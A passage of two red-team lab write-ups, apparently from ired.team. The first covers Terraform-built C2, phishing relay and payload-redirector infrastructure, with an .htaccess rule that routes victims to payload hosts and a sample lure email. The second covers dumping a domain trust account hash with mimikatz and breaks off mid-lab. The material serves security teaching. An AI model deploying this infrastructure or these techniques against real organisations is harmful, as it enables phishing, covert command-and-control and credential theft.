server to make the infrastructure more resilient to discovery that enables operators to quickly replace the burned servers with new ones: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXAFzC4ktkfKobW3Ddb%252F-LXAG0JjAvVuP-J5UP1h%252FScreenshot%2520from%25202019-01-26%252017-45-04.png%3Falt%3Dmedia%26token%3D358cc474-3e47-48a1-a742-3211fe89c035&width=768&dpr=3&quality=100&sign=4f18c518&sv=2) * There are 6 servers in total * 3 servers (phishing, payload and c2) are considered the long term servers - we do not want our friendly blue teams to discover those * 3 redirectors (smtp relay, payload redirector and c2 redirector) - these are the servers that sit in front of our long term servers and act as proxies. It is assumed that these servers will be detected and burned during an engagement. This is where the automation piece of Terraform comes in - since the our environment's state is defined in Terraform configuration files, we can rebuild those burned servers in almost no time and the operation can continue without bigger interruptions. [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#configuring-infrastructure) Configuring Infrastructure --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#service-providers) Service Providers My test red team infrasture is built by leveraging the following services and providers: * DigitalOcean Droplets for all the servers and redirectors * DigitalOcean DNS management for the smtp relay (phishing redirector) - mostly because we need the ability to set a `PTR` DNS record for our smtp relay in order to reduce chances of our phishing email being classified as spam by target users' mail gateways * CloudFlare DNS management for controlling DNS records for any other domains that point to our long-term servers Note however, you could build your servers using Amazon AWS or other popular VPS provider as long as it is supported by [Terraform](https://www.terraform.io/docs/providers/) . Same applies to the DNS management piece. I used DigitalOcean and CloudFlare because I already had accounts and I like them ¯\\\_(ツ)\_/¯ ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#file-structure) File Structure My red team infrastructure is defined by terraform state configuration files that are currently organized in the following way: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXALNUKvZ6lpsYbF3CX%252F-LXAMYEoEsbDblCXMpFu%252FScreenshot%2520from%25202019-01-26%252018-13-38.png%3Falt%3Dmedia%26token%3D8eb3ba53-2c4f-456e-8a0b-149eaaa0a5bc&width=768&dpr=3&quality=100&sign=54369736&sv=2) I think the file names are self explanatory, but below gives additional info on some of the config files: * `Configs` folder - all the config files that were too big or inconvenient to modify during Droplet creation with Terraform's provisioners. It includes configs for payload redirector (apache: `.htaccess`, `apache2.conf`), smtp redirector (postfix: `header_checks` - for stripping out email headers of the originating smtp server, `master.cf` - general postfix config for TLS and opendkim, `opendkim.conf` - configuring DKIM integration with postfix) * providers - required to build the infrastructure such as DigitalOcean and CloudFlare in my case * variables - stores API keys and similar data used across different terraform state files * sshkeys - stores ssh keys that our servers and redirectors will accept logons from * dns - defines DNS records and specify how our servers and redirectors can be accessed * firewalls - define access rules - who can access which server * outputs - a file that prints out key IP addresses and domain names of the built infrastructure Other key points on a couple of the files are outlined below. ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#variables) Variables Variables.tf stores things like API tokens, domain names for redirectors and c2s, operator IPs that are used in firewall rules (i.e only allow incoming connections to team server or GoPhish from an operator owned IP): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXFE1_2yvHILtuEHafh%252F-LXFEbaiBYqHKO0mQri8%252FScreenshot%2520from%25202019-01-27%252016-57-04.png%3Falt%3Dmedia%26token%3D14b97488-7f29-47cd-b1bd-fb2dca12739c&width=768&dpr=3&quality=100&sign=77a2b052&sv=2) Additionally, `variables.tf` contains link to a password protected Cobalt Strike zip archive and the password itself: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXQhmQEThWjG2peI_a6%252F-LXQjSnm8VH1deHE2Bxv%252FScreenshot%2520from%25202019-01-29%252022-32-07.png%3Falt%3Dmedia%26token%3D4c8f0ba1-e7cd-4ecc-8eef-64a223eac1d6&width=768&dpr=3&quality=100&sign=16e99bc5&sv=2) URL to a password protected Cobalt Strike zip ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXFE1_2yvHILtuEHafh%252F-LXFFgx9tEXIFG8_VVlH%252FScreenshot%2520from%25202019-01-27%252017-01-52.png%3Falt%3Dmedia%26token%3D98d7a4f0-4a6e-4e8e-9c48-cb652b474a00&width=768&dpr=3&quality=100&sign=a0409477&sv=2) variables.tf showing my fake and misspelled password ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#c2) C2 For this lab, I chose Cobalt Strike as my C2 server. Below is the `remote-exec` Terraform provisioner for C2 server that downloads CS zip, unzips it with a given CS password and creates a cron job to make sure the C2 server is started once the server boots up: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXQhmQEThWjG2peI_a6%252F-LXQjGAMSu7hXZxH7d2D%252FScreenshot%2520from%25202019-01-29%252022-31-08.png%3Falt%3Dmedia%26token%3D97c4f5a1-8f01-40c9-bec2-cc5d194d389e&width=768&dpr=3&quality=100&sign=a288a431&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#c2-redirector) C2 Redirector I use a `socat` to simply redirect all incoming traffic on port 80 and 443 to the main HTTP C2 server running Cobalt Strike team server: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXFE1_2yvHILtuEHafh%252F-LXFHP55AU-rRe4hoTw-%252FScreenshot%2520from%25202019-01-27%252017-09-17.png%3Falt%3Dmedia%26token%3D6e9bcf98-186a-4d80-9dd4-6633569fc54c&width=768&dpr=3&quality=100&sign=929d324c&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#testing-c2-and-c2-redirector) Testing C2 and C2 Redirector It's easy to test if your C2 and its redirectors work as expected. Note below - a couple of FQDNs that were printed out by Terraform when outputs.tf file was executed: `static.redteam.me` and `ads.redteam.me` both pointing to `159.203.122.243` - this is the C2 redirector IP - any traffic on port 80 and 443 will be redirected to the main C2 server, which is hosted on `68.183.150.191` as shown in the second image below: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXd1YS8_r5otpgJSY6X%252F-LXd1k8d_5BgtXUmhULM%252FScreenshot%2520from%25202019-02-01%252012-00-31.png%3Falt%3Dmedia%26token%3Df91adea0-8dfe-4372-a4b0-c5fe7b21ac85&width=768&dpr=3&quality=100&sign=dc236bdb&sv=2) C2 redirector IPs ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXd1YS8_r5otpgJSY6X%252F-LXd1mIEiQ3SFi2le47o%252FScreenshot%2520from%25202019-02-01%252012-00-22.png%3Falt%3Dmedia%26token%3D55de3c7f-9d2d-46ae-9a52-833f74084d81&width=768&dpr=3&quality=100&sign=a9984bb1&sv=2) C2 teamserver IPs Below gif shows the test in action and the steps are as follows: 1. Cobalt Strike is launched and connected to the main C2 server hosted on 68.183.150.191 - it can be reached via `css.ired.team` 2. a new listener on port 443 is created on the C2 host 68.183.150.191 3. beacon hostsname are set to two subdomains on the C2 redirector - `static.redteam.me` and `ads.redteam.me` 4. stageless beacon is generated and executed on the target system via SMB 5. beacon calls back to `*.redteam.me` which redirects traffic to the C2 teamserver on 68.183.150.191 and we see a CS session popup: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXd1YS8_r5otpgJSY6X%252F-LXd2eGUbh2niEarafIc%252FPeek%25202019-02-01%252012-30.gif%3Falt%3Dmedia%26token%3Da40543c1-7aa2-47a1-9f47-7522fffbd70c&width=768&dpr=3&quality=100&sign=657fe5c6&sv=2) Cobalt Strike C2 & C2 redirector test Below is a screengrab of the tcpdump on C2 server which shows that the redirector IP (organge, 159.203.122.243) has initiated the connection to the C2 (blue, 68.183.150.191): ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXd1YS8_r5otpgJSY6X%252F-LXd47voBKxe_0O3rU-c%252FScreenshot%2520from%25202019-02-01%252012-41-44.png%3Falt%3Dmedia%26token%3Dd3094800-540a-4418-99ce-e2cc2867e098&width=768&dpr=3&quality=100&sign=cffc8a43&sv=2) Successful C2 traffic redirection ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#phishing) Phishing My phishing server is running GoPhish framework, which I labbed about here: [Phishing with GoPhish and DigitalOcean](https://www.ired.team/offensive-security/initial-access/phishing-with-gophish-and-digitalocean) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXFE1_2yvHILtuEHafh%252F-LXFHxaHmHjwi19cYa42%252FScreenshot%2520from%25202019-01-27%252017-10-47.png%3Falt%3Dmedia%26token%3Ddc67e84e-3913-4e40-bd14-1e2864b96ff3&width=768&dpr=3&quality=100&sign=2616e93b&sv=2) The GoPhish is set to listen on port 3333 which I expose to the internet, but only allow access for the operator using DigitalOcean firewalls: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXFE1_2yvHILtuEHafh%252F-LXFIfbyAnKeNSQz5mIc%252FScreenshot%2520from%25202019-01-27%252017-14-49.png%3Falt%3Dmedia%26token%3D07aabe6e-9748-4ec1-ada7-e061a6e0d0e9&width=768&dpr=3&quality=100&sign=a91850e8&sv=2) Again - `var.operator-ip` is set in `variables.tf` ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#phishing-redirector) Phishing Redirector This was the most time consuming piece to set up. It is a known fact that setting up SMTP servers usually is a huge pain. Automating the red team infrastructure is worth purely because of the fact that you will not ever need to rebuild the SMTP server from scratch once it gets burned during the engagement. The pain for this piece originated from setting up the smtp relay, since there were a number of moving parts to it: * setting up SPF records * setting up DKIM * setting up encryption * configuring postfix as a relay * sanitizing email headers to obfuscate the originating email server (the phishing server) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#testing-phishing-redirector) Testing Phishing Redirector Once the infrastucture has been stood up, phishing redirector's (smtp relay) DNS zone should have the spf, dkim and dmarc records, similarly to those seen here: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXQ_FNQIyqAjIJDA1oz%252F-LXQd2RGzaDepZQ-onwG%252FScreenshot%2520from%25202019-01-29%252021-58-25.png%3Falt%3Dmedia%26token%3De6337e23-7e76-4593-99bf-1bc0c581cc13&width=768&dpr=3&quality=100&sign=b674c9a&sv=2) Once DNS records are done, we can send a quick test email to gmail from the actual phishing server through the relay server and see if spf, dkim and dmarc checks `PASS`, which we can see below they did in our case, suggesting phishing/smtp relay is setup correctly: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXQ_FNQIyqAjIJDA1oz%252F-LXQd4HzfYc1PoWjkEdr%252FScreenshot%2520from%25202019-01-29%252022-03-50.png%3Falt%3Dmedia%26token%3Dbba5513b-52a7-416f-9215-5ded9b273b46&width=768&dpr=3&quality=100&sign=3c402dbc&sv=2) 3KB [daily report.eml](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LXQdxa7QW9BVdmsYO6s%2F-LXQe0YdIJdqDw1E4WxO%2Fdaily%20report.eml?alt=media&token=e8bd82df-2943-42ea-85ae-beff97463af5) Download[Open](https://386337598-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LFEMnER3fywgFHoroYn%2F-LXQdxa7QW9BVdmsYO6s%2F-LXQe0YdIJdqDw1E4WxO%2Fdaily%20report.eml?alt=media&token=e8bd82df-2943-42ea-85ae-beff97463af5) Daily report.eml ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#payload-redirector) Payload Redirector Payload redirector server is built on apache2 `mod_rewrite` and `proxy` modules. `Mod_rewrite` module allows us to write fine-grained URL rewriting rules and proxy victim's HTTP requests to appropriate payloads as the operator deems appropriate. #### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#htaccess) .htaccess Below is an .htaccess file that instructs apache, or to be precise `mod_rewrite` module, on when, where and how (i.e proxy or redirect) to rewrite incoming HTTP requests: Breakdown of the file: * Line 2 essentially says: hey, apache, if you see an incoming http request with a user agent that contains any of the words "android, blackberry, ..." etc, move to line 3 * Line 3 instructs apache to proxy (\[P\]**)** the http request to `http://payloadURLForMobiles/login`. If condition in line 2 fails, move to line 4 * If condition in line 2 fails, the http request gets proxied to `http://payloadURLForOtherClients/%{REQUEST_URI}` where `REQUEST_URI` is the part of the http request that was appended after the domain name - i.e someDomain.com/?thisIsTheRequestUri=true Below screenshot should illustrate the above concept: 1. green highlight - we used curl (and its default UA), which according to the .htaccess file, should have redirected us to `payloadURLForOtherClients` - which we see it attempted to, but of course failed since it's a test and a non-resolvable host is specified 2. pink - we curl'ed the payload redirector again, but this time with a forged UA, masquerading the http request as if it was coming from an iphone - we can see that apache correctly attempted to proxy the request through to the `payloadURLForMobiles` host: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXLKwQiq22VKy_5Map1%252F-LXLNkLiSmYikc_bjTUk%252FScreenshot%2520from%25202019-01-28%252021-34-44.png%3Falt%3Dmedia%26token%3D0c87c7fe-8311-4cc8-8471-ae6f81da6b88&width=768&dpr=3&quality=100&sign=52ee3b62&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#outputs) Outputs `Outputs.tf` contains key server DNS names and their IP addresses for operator's reference: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXLKwQiq22VKy_5Map1%252F-LXLRipDD-kmdLVEyPhm%252FScreenshot%2520from%25202019-01-28%252021-50-22.png%3Falt%3Dmedia%26token%3D13aead1b-ccf3-4a74-a635-57cb963cf1c0&width=768&dpr=3&quality=100&sign=e4087680&sv=2) Also, note the last highlighted bit - an instruction for an operator to execute a `./finalize.sh` command from the working directory. It will install `LetsEncrypt` certificates on the smtp relay server and also print out the DKIM DNS TXT record that needs to be added to the DigitalOcean's DNS records for the smtp relay domain: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXLKwQiq22VKy_5Map1%252F-LXLRlL5V8TENd_SfZIL%252FScreenshot%2520from%25202019-01-28%252021-49-44.png%3Falt%3Dmedia%26token%3D17e302b1-9fc6-4565-9cab-9176a22d6399&width=768&dpr=3&quality=100&sign=cdc595ed&sv=2) The DNS record `mail._domainkey` placeholder with a dummy value "I am DKIM, but change with the DKIM from finalize.sh" is created (`dns.tr` file) for ones convenience - that value needs to be replaced with the above highlighted DKIM value provided by the finalize.sh script. Ideally, this step would be automated during the droplet bootstrapping, but I was not yet able to do that due to some Terraform bugs I encountered. Below shows (top to bottom): * terraform config that sets up a new DNS TXT record placeholder for DKIM * terraform creating the DNS TXT record based on the above config from `dns.tf` * the actual result - DNS TXT record placeholder for `redteam.me` domain ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LXQSxNHPJqNp3mCZ-z9%252F-LXQTKMRhbbrjMkP2v6c%252FScreenshot%2520from%25202019-01-29%252021-17-16.png%3Falt%3Dmedia%26token%3D17ce94d3-1bd8-41b1-8e6e-b97d10b1dfbf&width=768&dpr=3&quality=100&sign=18ed5949&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#download-and-try) Download & Try ----------------------------------------------------------------------------------------------------------------------------------------------------------- If you would like to test this setup, feel free to grab the config files here: [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)GitHub - mantvydasb/Red-Team-Infrastructure-Automation: Disposable and resilient red team infrastructure with TerraformGitHub](https://github.com/mantvydasb/Red-Team-Infrastructure-Automation) [](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#references) References ------------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fbluescreenofjeff.com%2Fassets%2Ffavicons%2Ffavicon-196.png&width=20&dpr=3&quality=100&sign=f4f33b2e&sv=2)Strengthen Your Phishing with Apache mod\_rewrite and Mobile User Redirectionbluescreenofjeff.com - a blog about penetration testing and red teaming](https://bluescreenofjeff.com/2016-03-22-strengthen-your-phishing-with-apache-mod_rewrite-and-mobile-user-redirection/) [https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform-part-1/rastamouse.me](https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform-part-1/) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.digitalocean.com%2F_next%2Fstatic%2Fmedia%2Fandroid-chrome-512x512.5f2e6221.png&width=20&dpr=3&quality=100&sign=fbde5607&sv=2)How To Install and Configure DKIM with Postfix on Debian Wheezy | DigitalOceanDigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) [https://developers.digitalocean.com/documentation/changelog/api-v2/new-size-slugs-for-droplet-plan-changes/developers.digitalocean.com](https://developers.digitalocean.com/documentation/changelog/api-v2/new-size-slugs-for-droplet-plan-changes/) [PreviousPhishing with Modlishka Reverse HTTP Proxy](https://www.ired.team/offensive-security/red-team-infrastructure/how-to-setup-modliska-reverse-http-proxy-for-phishing) [NextCobalt Strike 101](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands) Last updated 7 years ago * [Context](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#context) * [Credits](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#credits) * [Infrastructure Overview](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#infrastructure-overview) * [Configuring Infrastructure](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#configuring-infrastructure) * [Service Providers](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#service-providers) * [File Structure](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#file-structure) * [Variables](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#variables) * [C2](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#c2) * [C2 Redirector](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#c2-redirector) * [Testing C2 and C2 Redirector](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#testing-c2-and-c2-redirector) * [Phishing](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#phishing) * [Phishing Redirector](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#phishing-redirector) * [Testing Phishing Redirector](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#testing-phishing-redirector) * [Payload Redirector](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#payload-redirector) * [Outputs](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#outputs) * [Download & Try](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#download-and-try) * [References](https://www.ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform#references) attacker@kali Copy telnet redteam.me 25 helo redteam.me mail from: olasenor@redteam.me rcpt to: mantvydo@gmail.com data to: Mantvydas Baranauskas from: Ola Senor subject: daily report Hey Mantvydas, As you were requesting last week - attaching as promised the documents needed to keep the project going forward. . .htaccess Copy RewriteEngine On RewriteCond %{HTTP_USER_AGENT} "android|blackberry|googlebot-mobile|iemobile|ipad|iphone|ipod|opera mobile|palmos|webos" [NC] RewriteRule ^.*$ http://payloadURLForMobiles/login [P] RewriteRule ^.*$ http://payloadURLForOtherClients/%{REQUEST_URI} [P] --- # Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain.md) . This is a quick lab to familiarize with a technique that allows accessing resources on a trusted domain from a fully compromised (Domain admin privileges achieved) trusting domain, by recovering the trusting `account$` (that's present on the trusted domain) password hash. This lab is based on the great research here [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted) , go check it out for more details and detection / prevention ideas. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#overview) Overview ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- The environment for this lab is as follows: Resource Type first-dc.first.local Domain Controller Domain controller in the first.local domain second-dc.second.local Domain Controller Domain controller in the second.local domain first.local Domain This domain does not trust second.local domain, but second.local trusts this domain. second.local Domain This domain trusts first.local domain, but first.local does not trust this domain. In short, there is a one way trust relationship between `first.local` and `second.local`, where `first.local` does not trust `second.local`, but `second.local` trusts `first.local`. Or simply put in other words, it's possible to access resources from `first.local` on `second.local`, but not the other way around. The technique in this lab, however, shows that it's still possible to access resources from `second.local` on `first.local` domain if `second.local` domain is compromised and domain admin privileges are obtained. This technique is possible, because once a trust relationship between domains is established, a trust account for the trusting domain is created in the trusted domain and it's possible to compromise that account's password hash, which enables an attacker to authenticate to the trusted domain with the trust account. In our lab, considering that `first.local` is a trusted domain trusted by the trusting domain `second.local`, the trust account `first.local\second$` (user account `second$` in the domain `first.local`) will be created. `first.local\second$` is the trust account we want to and CAN compromise from the `second.local domain`, assuming we have domain admin privileges there. Visually, this looks like something like this: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FpOXBsrfnX1kPsm8JzNiS%252Fimage.png%3Falt%3Dmedia%26token%3D427c7481-ab05-4919-82ba-8bc4b756712a&width=768&dpr=3&quality=100&sign=bd695c5&sv=2) Technique / attack diagram based on the one seen in [https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-7-trust-account-attack-from-trusting-to-trusted) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#checks) Checks --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Let's check some of the things we touched on in the overview. Confirm the trust relationships between domains: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FXIzgQuAEpcx7mc8NaW54%252Fimage.png%3Falt%3Dmedia%26token%3D444542e1-b124-45d7-beee-374beaa13161&width=768&dpr=3&quality=100&sign=a9c37936&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252Fi2BedRo5HvEP2Z56t8Lk%252Fimage.png%3Falt%3Dmedia%26token%3Df2049b14-e2f3-47bb-a46d-afbbec0bd337&width=768&dpr=3&quality=100&sign=650c79d8&sv=2) Confirm that there's a trust account `second$` on `first.local` domain: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252Fvpr5WMQ6lFeYAydws7br%252Fimage.png%3Falt%3Dmedia%26token%3De0a23682-788f-4ec6-9074-1697161fc720&width=768&dpr=3&quality=100&sign=6093893b&sv=2) Confirm that we can enumerate resources on the trusting domain `second.local` from `first.local`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FqTovbrDRhYNtcT9bZ6X9%252Fimage.png%3Falt%3Dmedia%26token%3Da8df6d71-b425-42dc-af02-52a7eca27844&width=768&dpr=3&quality=100&sign=8e3b6760&sv=2) Confirm that we cannot (just yet, but this is soon to change) enumerate resources on the trusted domain `first.local` from the trusting domain : ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FMEGd6UDX9WyGJAEq3n34%252Fimage.png%3Falt%3Dmedia%26token%3D99ba6c26-f52e-49dd-a99e-3ea0156fd372&width=768&dpr=3&quality=100&sign=ab096e4&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-trust-accountusd-accessing-resources-on-a-trusted-domain-from-a-trusting-domain#compromising-trust-account-first.local-secondusd) Compromising Trust Account first.local\\second$ -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- As mentioned earlier, the main crux of the technique is that we're able to compromise the trust account `first.local\second$` if we have domain admin privileges on `second.local`. To compromise the `first.local\second$` and reveal its password hash, we can use mimikatz like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-LFEMnER3fywgFHoroYn%252Fuploads%252FxPKnVYnYhCT0oeMMruzz%252Fimage.png%3Falt%3Dmedia%26token%3D23e17a0c-86f9-4dbe-8e98-3033a61bfadf&width=768&dpr=3&quality=100&sign=faa592be&sv=2) Note the RC4 hash in `[out] first.local` -> `second.local` line - this is the NTLM hash for `first.local\second$` trust account, capture it. 